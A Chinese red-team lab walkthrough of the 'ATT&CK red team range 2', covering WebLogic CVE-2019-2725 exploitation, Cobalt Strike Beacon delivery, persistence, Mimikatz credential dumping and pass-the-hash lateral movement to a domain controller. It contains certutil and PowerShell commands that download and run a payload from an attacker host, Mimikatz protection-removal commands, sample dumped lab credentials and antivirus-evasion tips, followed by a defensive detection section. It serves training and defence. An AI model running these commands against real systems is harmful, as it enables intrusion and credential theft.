1. 项目概述与核心思路
最近在复盘红队实战案例时,我重新搭建并演练了那个经典的“ATT&CK红队靶场二”。这个靶场之所以经典,是因为它几乎囊括了一次完整的内网渗透攻击链:从外网Weblogic漏洞的初始突破,到内网信息收集,再到利用凭证和协议漏洞进行横向移动,最终拿下域控。整个过程就像一次标准化的“外科手术式”攻击,非常适合用来检验和巩固红队技术栈。很多朋友在接触Cobalt Strike这类高级工具时,往往停留在基础功能的使用,对于如何将其与具体的漏洞利用、内网渗透技术深度结合,缺乏一个连贯的实战视角。这次,我就以这个靶场为蓝本,结合Cobalt Strike,带大家走一遍从“靶场”到“实战思维”的完整流程。
这个靶场的核心价值在于它的“仿真性”。它模拟了一个典型的企业网络环境:一个对外提供服务的DMZ区(部署了存在漏洞的Weblogic服务器),以及一个隔离的内网区域(包含域控、应用服务器和普通终端)。攻击者需要像真正的入侵者一样,从一个点(Weblogic漏洞)切入,逐步扩大战果。整个过程涉及的关键技术点非常密集:Weblogic反序列化漏洞的利用、Cobalt Strike Beacon的投递与上线、内网主机发现、凭据窃取(Mimikatz)、哈希传递(Pass-the-Hash)、以及利用SMB等协议进行横向移动。通过复现这个靶场,你不仅能熟悉工具链,更能深刻理解ATT&CK框架中“初始访问”、“执行”、“持久化”、“凭证访问”、“横向移动”等战术阶段是如何在实战中串联起来的。
2. 靶场环境拓扑与攻击路径设计
2.1 网络拓扑深度解析
在动手之前,我们必须像建筑师看蓝图一样,彻底理解靶场的网络结构。这决定了我们每一步攻击的跳板选择和流量走向。
靶场采用了经典的双网段架构,清晰地划分了安全边界:
-
攻击机 (Kali Linux)
: IP:
192.168.111.1。这是我们操作的起点,位于模拟的“互联网”或测试网络。它只能直接访问DMZ网段。 -
DMZ区 (192.168.111.0/24)
: 模拟企业对外服务区。
-
Web服务器 (WEB)
: 双网卡主机。
-
网卡1 (DMZ):
192.168.111.80。对外提供Weblogic服务,是我们初始攻击的入口。 -
网卡2 (内网):
10.10.10.80。连接内网,在攻破后成为我们进入内网的“桥头堡”。
-
网卡1 (DMZ):
-
Web服务器 (WEB)
: 双网卡主机。
-
内网区 (10.10.10.0/24)
: 模拟企业核心网络,与DMZ隔离。
-
域控制器 (DC)
:
10.10.10.10。终极目标,控制了它就等于控制了整个域。 -
客户端PC
:
10.10.10.201。内网中的一台普通办公终端,通常存储着有价值的用户凭据或数据。
-
域控制器 (DC)
:
关键点理解 :这种双网卡Web服务器的设计非常真实。很多企业会将数据库或内部服务放在内网,Web前端放在DMZ。一旦攻破Web服务器,它就成为了一个绝佳的“跳板”,因为它本身就具有通往内网的通道。我们的攻击路径很明确:
攻击机 -> WEB(192.168.111.80) -> WEB(10.10.10.80) -> 内网其他主机(10.10.10.0/24)。
2.2 基于ATT&CK框架的攻击链规划
我们不能盲目操作,每一步都应有其战术目的。结合ATT&CK框架,本次演练的核心攻击链可以规划如下:
-
侦察 (Reconnaissance)
: 对
192.168.111.80进行端口扫描、服务识别、目录探测。 - 资源开发 (Resource Development) : 准备漏洞利用载荷(例如针对CVE-2019-2725的EXP),生成Cobalt Strike的Beacon木马。
- 初始访问 (Initial Access) : 利用Weblogic反序列化漏洞(如CVE-2019-2725),在目标服务器上执行命令,下载并运行Beacon,建立初始立足点。
- 执行 (Execution) : Beacon在目标服务器上成功执行,我们获得了一个交互式会话。
- 持久化 (Persistence) : 在WEB服务器上建立持久化后门(如服务、计划任务),确保即使重启也能维持访问。
- 权限提升 (Privilege Escalation) : 在WEB服务器本地进行提权,获取SYSTEM或管理员权限,以便进行后续的凭据窃取。
-
凭证访问 (Credential Access)
: 使用Mimikatz或Cobalt Strike内置的
hashdump、logonpasswords命令,从WEB服务器内存中转储哈希值和明文密码。 -
发现 (Discovery)
: 从WEB服务器内网网卡(
10.10.10.80)出发,进行内网主机发现(net view、arp -a)、端口扫描,绘制内网地图。 -
横向移动 (Lateral Movement)
: 利用获取的凭证(哈希传递/PTH),通过
psexec、wmi或smbexec等方式,横向移动到内网的其他主机(如PC10.10.10.201)。 -
目标影响 (Impact)
: 最终横向移动到域控制器(
10.10.10.10),获取域控权限,完成对整个域的控制。
这个链条环环相扣,下一步的行动往往依赖于上一步的成果。下面,我们就进入具体的实操环节。
3. 初始突破:Weblogic漏洞利用与Beacon上线
3.1 信息收集与漏洞定位
攻击始于侦察。我们首先需要确认目标并找到薄弱点。
# 1. 主机存活探测 (判断80主机是否在线)
ping -c 2 192.168.111.80
# 2. 端口扫描与服务识别 (使用nmap,-sV尝试识别版本)
nmap -sS -sV -p- 192.168.111.80 -T4
# 3. 针对Weblogic常见管理端口进行详细扫描
nmap -sS -sV -p 7001,7002,9001 192.168.111.80
扫描结果很可能会显示
7001
端口开放,服务标识为
Oracle Weblogic admin httpd
。这初步确认了目标。
接下来,使用
dirsearch
或
gobuster
进行目录扫描,寻找管理后台或暴露的接口:
dirsearch -u http://192.168.111.80:7001 -e * -x 403,404
可能会发现类似
/console
、
/wls-wsat
等路径。
/wls-wsat
正是CVE-2019-2725等漏洞常出现的端点。
为了更精确地识别漏洞,我们可以使用专门的扫描器,如
WeblogicScan
或
Xray
等。这里假设我们通过扫描或已知信息,确认目标存在
CVE-2019-2725
漏洞。这个漏洞存在于Weblogic的
wls9_async_response
组件中,允许未经认证的攻击者通过发送精心构造的HTTP请求,在服务器上执行任意命令。
3.2 利用漏洞投递Cobalt Strike Beacon
单纯的命令执行是不够的,我们需要一个稳定、功能强大的控制通道。Cobalt Strike的Beacon是理想选择。
第一步:在Cobalt Strike Team Server上创建监听器(Listener)。
-
打开Cobalt Strike ->
Cobalt Strike->Listeners。 -
点击
Add,类型选择HTTP或HTTPS(根据目标环境,HTTP更通用)。 -
设置好
Name(如http_80)、Payload(默认为Beacon HTTP)、HTTP Hosts(你的Team Server IP)和HTTP Port(如80)。HTTP Host (Stager)可以设置为指向Team Server的域名或IP。
第二步:生成攻击载荷(Payload)。
-
在Cobalt Strike中,点击
Attacks->Packages->Windows Executable (S)。这里选择Stageless版本,因为它包含所有功能,更适合内网环境。 -
Listener选择刚才创建的http_80。 -
点击
Generate,保存为beacon.exe。
第三步:准备漏洞利用脚本。
我们需要一个能利用CVE-2019-2725执行命令的EXP。这类EXP通常是一个Python脚本,核心功能是向
/wls-wsat/CoordinatorPortType
端点发送一个包含恶意XML序列化数据的SOAP请求,其中封装了要执行的命令。
我们的目标不是执行简单的
whoami
,而是让目标服务器从我们的HTTP服务器下载
beacon.exe
并执行。因此,我们需要一个能托管文件的Web服务器。
# 在攻击机上启动一个简单的HTTP服务器,端口8080
python3 -m http.server 8080
# 将生成的beacon.exe放在当前目录
第四步:构造利用命令。 我们需要构造一个能实现“下载并执行”的命令。在Windows中,有几种方式:
-
certutil.exe -urlcache -split -f http://192.168.111.1:8080/beacon.exe C:\Windows\Temp\beacon.exe && C:\Windows\Temp\beacon.exe -
powershell -c “IEX(New-Object Net.WebClient).DownloadString(‘http://192.168.111.1:8080/beacon.exe’);”(需考虑执行策略和文件落地) -
更隐蔽的方式:使用
bitsadmin或msiexec。
这里我们选择第一种,简单直接。将完整的命令进行URL编码,然后替换到EXP脚本中对应的命令执行位置。
第五步:执行EXP。 运行修改好的Python EXP脚本:
python3 CVE-2019-2725_EXP.py http://192.168.111.80:7001 “cmd /c certutil -urlcache -split -f http://192.168.111.1:8080/beacon.exe C:\Windows\Temp\b.exe & C:\Windows\Temp\b.exe”
如果漏洞存在且利用成功,我们将在Cobalt Strike的
Beacons
界面看到一个新的会话上线,其外部IP是
192.168.111.80
,内部IP可能是
10.10.10.80
(如果获取到了双网卡信息)。
实操心得 :在实际利用中,可能会遇到杀毒软件拦截
certutil下载或执行。此时可以尝试:
- 对
beacon.exe进行混淆或加壳(Cobalt Strike本身提供多种编码器)。- 使用
powershell的DownloadFile方法,并配合-ExecutionPolicy Bypass。- 将载荷分段传输,或在内存中直接加载执行(无文件落地),这需要更高级的利用方式。
4. 立足内网:权限提升、信息收集与凭据窃取
4.1 权限提升与后门持久化
刚上线的Beacon会话可能只是一个普通用户权限(如
weblogic
或
networkservice
)。为了能抓取密码哈希、安装后门,我们需要提权到
SYSTEM
。
在Cobalt Strike中,提权非常方便:
-
右键点击上线的Beacon会话 ->
Access->Elevate。 -
选择一个提权利用模块,例如
ms14-058或uac-dll(针对UAC绕过)。Cobalt Strike会根据目标系统版本自动推荐。点击Launch。 -
如果利用成功,会弹出一个新的
SYSTEM权限的Beacon会话。
获得
SYSTEM
权限后,第一件事就是建立持久化,防止重启失联:
-
在
SYSTEM会话上,右键 ->Explore->Persistence。 -
可以选择多种方式,如
Windows Service(创建服务)、Scheduled Task(计划任务)。服务方式更隐蔽稳定。 -
设置好服务名、描述、监听器,点击
Install。这样即使服务器重启,我们的Beacon也会自动重新上线。
4.2 内网信息收集
现在,我们以WEB服务器(
10.10.10.80
)为跳板,开始探索内网。
在Beacon的交互式命令行中,执行以下基础命令:
# 查看当前用户和权限
whoami /all
# 查看网络配置(找到内网网段和网关)
ipconfig /all
# 查看系统信息
systeminfo
# 查看进程列表
ps
# 查看当前域和工作组信息
net config workstation
# 查看域内计算机列表(如果已加入域)
net group “domain computers” /domain
# 如果未加域,使用net view查看同一网段的主机
net view
# 查看ARP缓存,发现内网活跃主机
arp -a
通过这些命令,我们可以确认内网网段是
10.10.10.0/24
,并可能发现
10.10.10.10
(DC) 和
10.10.10.201
(PC) 这两台主机。
4.3 使用Mimikatz窃取凭据
这是内网横向移动的“弹药库”。Cobalt Strike内置了Mimikatz功能。
在
SYSTEM
权限的Beacon中,输入命令:
mimikatz !sekurlsa::logonpasswords
或者使用内置命令(效果相同):
logonpasswords
命令执行后,Cobalt Strike会输出当前机器内存中所有登录会话的凭据信息,包括 明文密码 和 NTLM哈希 。这是最激动人心的时刻之一。你可能会看到类似下面的输出:
……
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : ADMINISTRATOR
Domain : DE1AY
Logon Server : DC
Logon Time : 2023/10/27 8:00:00
SID : S-1-5-21-...
msv :
[00000003] Primary
* Username : ADMINISTRATOR
* Domain : DE1AY
* NTLM : 7a21990fcd3d759941e45c490f143d5f
* SHA1 : ...
tspkg :
wdigest :
* Username : ADMINISTRATOR
* Domain : DE1AY
* Password : 1qaz@WSX
kerberos :
* Username : administrator
* Domain : DE1AY.COM
* Password : 1qaz@WSX
……
我们成功抓取到了域管理员
ADMINISTRATOR
的明文密码
1qaz@WSX
和NTLM哈希
7a21990fcd3d759941e45c490f143d5f
。这张“通行证”为我们打开了通往域内几乎所有主机的大门。
注意事项 :
mimikatz的sekurlsa模块需要SYSTEM权限。如果抓取失败,可能是由于系统保护(如受保护的进程、Credential Guard)或杀软拦截。可以尝试:
- 先使用
mimikatz !privilege::debug尝试启用调试权限。- 使用Cobalt Strike的
hashdump命令直接读取SAM数据库中的本地用户哈希(但可能没有域用户哈希)。- 尝试使用
mimikatz !lsadump::sam或!lsadump::cache。
5. 横向移动:哈希传递与内网拓展
有了域管理员凭据,横向移动就变得水到渠成。这里演示两种最常用的方式:哈希传递(PTH)和PsExec。
5.1 使用Cobalt Strike进行哈希传递(PTH)
哈希传递是内网横向的“神技”,它不需要明文密码,直接使用NTLM哈希进行身份验证。
-
添加凭证
:在Cobalt Strike中,点击
View->Credentials。将我们抓取到的域管理员哈希添加进去。用户填DE1AY\ADMINISTRATOR,密码处留空,在Hash栏填入7a21990fcd3d759941e45c490f143d5f。 -
扫描内网服务
:虽然我们知道主机IP,但最好确认一下开放端口。在Beacon中使用
portscan命令:
这会扫描portscan 10.10.10.0/24 445,3389,135 arp 50010.10.10.0/24网段的445(SMB)、3389(RDP)、135(WMI)端口。 -
横向移动
:右键点击我们的Beacon会话 ->
Attack->Pivoting->Lateral Movement->SMB Beacon。-
但是,更直接的方式是使用
psexec或psexec_psh(PowerShell版本)。右键点击Beacon ->Attack->Pivoting->Lateral Movement->psexec。 -
在弹出的窗口中,
Listener选择我们之前创建的http_80(或其他适合内网的监听器)。 -
Target输入我们想横向移动的目标主机,例如10.10.10.201(PC)或10.10.10.10(DC)。 -
Credentials部分,勾选Use a different user,然后选择我们刚才添加的DE1AY\ADMINISTRATOR凭证。Cobalt Strike会自动使用其哈希进行验证。 -
点击
Launch。
-
但是,更直接的方式是使用
如果目标主机的
445
端口开放,且防火墙允许连接,并且账户有足够的权限(域管理员通常有),Cobalt Strike就会通过SMB协议在目标主机上创建服务执行我们的Beacon,并建立一个新的会话。在新会话中执行
whoami
,应该显示为
de1ay\administrator
。
5.2 利用PsExec模块进行横向移动
除了图形化操作,也可以在Beacon命令行中直接使用
psexec
模块,这对于批量操作或编写自动化脚本非常有用。
# 在Beacon中使用psexec进行横向移动
psexec \\10.10.10.201 DE1AY\ADMINISTRATOR http_80
# 或者使用哈希
psexec \\10.10.10.201 DE1AY\ADMINISTRATOR http_80 -hashes :7a21990fcd3d759941e45c490f143d5f
参数解释:
\\10.10.10.201
是目标主机,
DE1AY\ADMINISTRATOR
是用户名,
http_80
是监听器名称。
5.3 攻击域控制器
用同样的方法,我们可以直接攻击域控制器(
10.10.10.10
)。在Cobalt Strike中,使用
psexec
横向移动到DC。成功后,我们就获得了域控制器的最高权限。
在DC的Beacon会话中,可以执行最终的命令来宣告胜利:
# 获取域内所有用户列表
net user /domain
# 获取域管理员组列表
net group “domain admins” /domain
# 甚至可以尝试提取域内所有用户的哈希(NTDS.dit),但这需要更高权限和特定技术(如Volume Shadow Copy)
至此,我们已经完成了从外网突破到完全控制内网域环境的整个攻击链。
6. 防御视角与实战思考
复现攻击不是为了作恶,而是为了更有效地防御。走完整个流程,从防御者角度,我们能得到很多启示:
- 边界防护的局限性 :防火墙隔离了DMZ和内网,但一台双网卡的主机被攻破,就足以让这道防线形同虚设。必须强化主机自身安全,特别是对外服务的中间件。
- 漏洞管理的紧迫性 :像Weblogic CVE-2019-2725这样的历史高危漏洞,依然是攻击者最爱的入口。企业必须建立严格的漏洞扫描和补丁管理流程,尤其是对互联网暴露的资产。
- 凭据安全是生命线 :本次演练中,一旦获取到域管理员哈希,内网就全面沦陷。必须强制使用强密码、定期更换、并启用多因素认证(MFA)。对于服务账户,应使用组托管服务账户(gMSA)或受限制的凭据。
- 最小权限原则 :Weblogic服务账户不应具有域管理员权限,甚至不应有本地管理员权限。严格遵循最小权限原则,能有效限制攻击者横向移动的范围。
- 网络分段与微隔离 :仅仅划分DMZ和内网是不够的。内网应根据业务功能进一步细分,使用防火墙或软件定义网络(SDN)策略,严格控制东西向流量,例如,Web服务器只能访问特定的数据库端口,而不能随意访问其他办公终端。
-
加强检测与响应
:
-
日志审计
:集中收集和分析Windows事件日志(如4688新进程创建、4624/4625登录事件、5140网络共享访问)、Weblogic访问日志、防火墙日志。异常时间点的
certutil下载、psexec服务创建都是高可疑行为。 -
终端检测与响应
:部署EDR产品,监控进程链(如
weblogic -> cmd -> certutil)、可疑的横向移动工具(如Mimikatz的内存特征、PsExec的网络连接)。 - 网络流量分析 :检测异常的SMB连接(尤其是来自服务器到域控的)、Beacon的周期性心跳流量(C2通信)。
-
日志审计
:集中收集和分析Windows事件日志(如4688新进程创建、4624/4625登录事件、5140网络共享访问)、Weblogic访问日志、防火墙日志。异常时间点的
7. 常见问题与排查技巧实录
在实际复现过程中,你可能会遇到各种问题。这里记录一些常见坑点和解决思路:
问题1:Weblogic漏洞利用成功,但Beacon无法上线。
- 可能原因 :目标服务器出站流量被防火墙拦截;Team Server的监听端口被占用或配置错误;杀软拦截了Beacon进程。
-
排查
:
-
在目标机上尝试执行
curl http://<你的TeamServer_IP>:80,看是否能访问。 -
在Team Server上使用
netstat -antp | grep :80确认监听正常。 -
检查Cobalt Strike的
View->Web Log,看是否有来自目标的HTTP请求(可能是Stager请求)。 -
尝试生成一个更简单的载荷(如
ping命令回显)测试漏洞是否真的可执行。
-
在目标机上尝试执行
问题2:Mimikatz抓不到明文密码或哈希。
-
可能原因
:权限不足(非SYSTEM);系统启用了LSA保护(
RunAsPPL)或Credential Guard;杀软实时监控。 -
解决
:
-
确保使用
Elevate提权后的SYSTEM会话运行。 -
尝试先执行
mimikatz !privilege::debug和!processprotect /process:lsass.exe /remove来尝试绕过保护(可能触发告警)。 -
使用Cobalt Strike的
hashdump命令尝试转储本地SAM哈希。 - 考虑使用其他凭据获取技术,如DCSync攻击(需要域管理员权限)或从进程内存中搜索。
-
确保使用
问题3:横向移动(psexec)失败,提示“登录失败”或“拒绝访问”。
- 可能原因 :目标主机防火墙阻止了445端口;使用的凭据权限不足(例如,不是目标机器的本地管理员);目标系统禁用了SMB服务或Admin$共享;账户被锁定。
-
排查
:
-
在跳板机上用
telnet 10.10.10.201 445测试端口连通性。 -
使用
net use \\10.10.10.201\ipc$ /user:DE1AY\ADMINISTRATOR “password”测试IPC$连接(如果知道明文密码)。 -
尝试使用WMI (
wmi) 或WinRM (winrm) 等其他横向移动方式。在Cobalt Strike中可以使用jump命令选择其他模块。 - 确认使用的账户在目标机器上的本地管理员组中(对于域管理员,默认是)。
-
在跳板机上用
问题4:内网主机发现命令(net view)返回空或错误。
- 可能原因 :当前用户权限不足;网络策略限制(如防火墙阻止了137-139端口);主机不在同一工作组。
-
解决
:
-
使用更底层的扫描工具,如上传
fscan、nmap到跳板机进行扫描。 -
使用ARP扫描:
arp-scan -l(Linux环境) 或在Windows Beacon中执行for /l %i in (1,1,254) do @ping -n 1 -w 10 10.10.10.%i | findstr “TTL=”。 - 利用DNS查询或LDAP枚举(如果已加入域)来发现主机。
-
使用更底层的扫描工具,如上传
问题5:Cobalt Strike会话不稳定或突然中断。
- 可能原因 :网络波动;Beacon进程被杀;跳板机重启;监听器配置问题。
-
解决
:
- 建立多个持久化后门(服务、计划任务、启动项)。
-
使用
StagelessBeacon,稳定性优于Stager。 -
考虑使用
DNS或HTTPS监听器,其流量特征更隐蔽,可能绕过基础检测。 -
定期检查Beacon的
sleep时间和jitter设置,过于规律的通信容易被发现。
通过这个靶场的完整复现,我们不仅串联了Weblogic漏洞利用、Cobalt Strike操作、内网渗透等一系列技术点,更重要的是建立了一种“攻击链”思维。在真实的红队评估或渗透测试中,环境远比靶场复杂,你会遇到各种WAF、EDR、网络设备、蜜罐的阻拦。但万变不离其宗,理解攻击的本质流程、熟练掌握核心工具、并具备灵活的绕过和适应能力,才是从“靶场”走向“实战”的关键。每一次踩坑和排错,都是宝贵的经验积累。
4590

被折叠的 条评论
为什么被折叠?



